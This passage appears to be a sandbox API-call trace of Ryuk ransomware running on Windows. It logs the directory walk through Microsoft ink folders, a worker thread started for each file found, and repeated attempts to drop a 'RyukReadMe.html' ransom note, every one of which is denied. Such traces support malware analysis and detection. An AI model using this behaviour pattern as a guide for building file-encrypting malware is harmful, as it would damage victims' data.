	[0128.719] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a280
	[0128.719] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0128.720] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0xa0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1
	[0128.720] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0128.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x36c
	[0128.723] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.724] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdda123, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdda123, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdda123, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0xa0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0
	[0128.724] FindClose (in: hFindFile=0x7a280 | out: hFindFile=0x7a280) returned 1
	[0128.724] SetLastError (dwErrCode=0x0) 
	[0128.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0128.725] GetLastError () returned 0x5
	[0128.725] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0128.725] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0128.725] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x84, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1
	[0128.725] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0128.726] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x350
	[0128.728] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.728] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1
	[0128.728] SetLastError (dwErrCode=0x0) 
	[0128.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0128.729] GetLastError () returned 0x5
	[0128.729] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0128.729] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0128.729] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a280
	[0128.730] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0128.730] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0xa0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1
	[0128.730] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0128.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x358
	[0128.733] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.734] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0xa0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0
	[0128.734] FindClose (in: hFindFile=0x7a280 | out: hFindFile=0x7a280) returned 1
	[0128.735] SetLastError (dwErrCode=0x0) 
	[0128.735] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0128.735] GetLastError () returned 0x5
	[0128.735] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0128.735] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0128.735] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x84, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1
	[0128.735] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0128.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x35c
	[0128.738] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.738] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1
	[0128.738] SetLastError (dwErrCode=0x0) 
	[0128.738] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0128.739] GetLastError () returned 0x5
	[0128.739] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0128.739] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0128.739] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a280
	[0128.740] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0128.740] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0xa0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1
	[0128.740] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0128.741] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368
	[0128.742] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.742] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0xa0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1
	[0128.743] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0128.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x364
	[0128.745] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.745] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0xa0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1
	[0128.746] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0128.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x348
	[0128.748] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.748] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0xa0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0
	[0128.749] FindClose (in: hFindFile=0x7a280 | out: hFindFile=0x7a280) returned 1
	[0128.749] SetLastError (dwErrCode=0x0) 
	[0128.749] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0128.749] GetLastError () returned 0x5
	[0128.749] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0128.749] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0128.749] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x84, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1
	[0128.750] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0128.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x360
	[0128.883] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.884] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1
	[0128.884] SetLastError (dwErrCode=0x0) 
	[0128.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.093] GetLastError () returned 0x5
	[0129.093] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0129.093] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.093] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a280
	[0129.094] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0129.094] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0xa0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1
	[0129.095] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a4
	[0129.098] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.099] FindNextFileW (in: hFindFile=0x7a280, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0xa0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0
	[0129.099] FindClose (in: hFindFile=0x7a280 | out: hFindFile=0x7a280) returned 1
	[0129.099] SetLastError (dwErrCode=0x0) 
	[0129.099] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.099] GetLastError () returned 0x5
	[0129.100] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0129.100] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.100] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x84, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1
	[0129.100] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0129.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x344
	[0129.102] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.102] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x84, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0
	[0129.102] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0129.102] SetLastError (dwErrCode=0x0) 
	[0129.102] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.103] GetLastError () returned 0x5
	[0129.103] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0129.103] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.103] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1
	[0129.103] SetLastError (dwErrCode=0x0) 
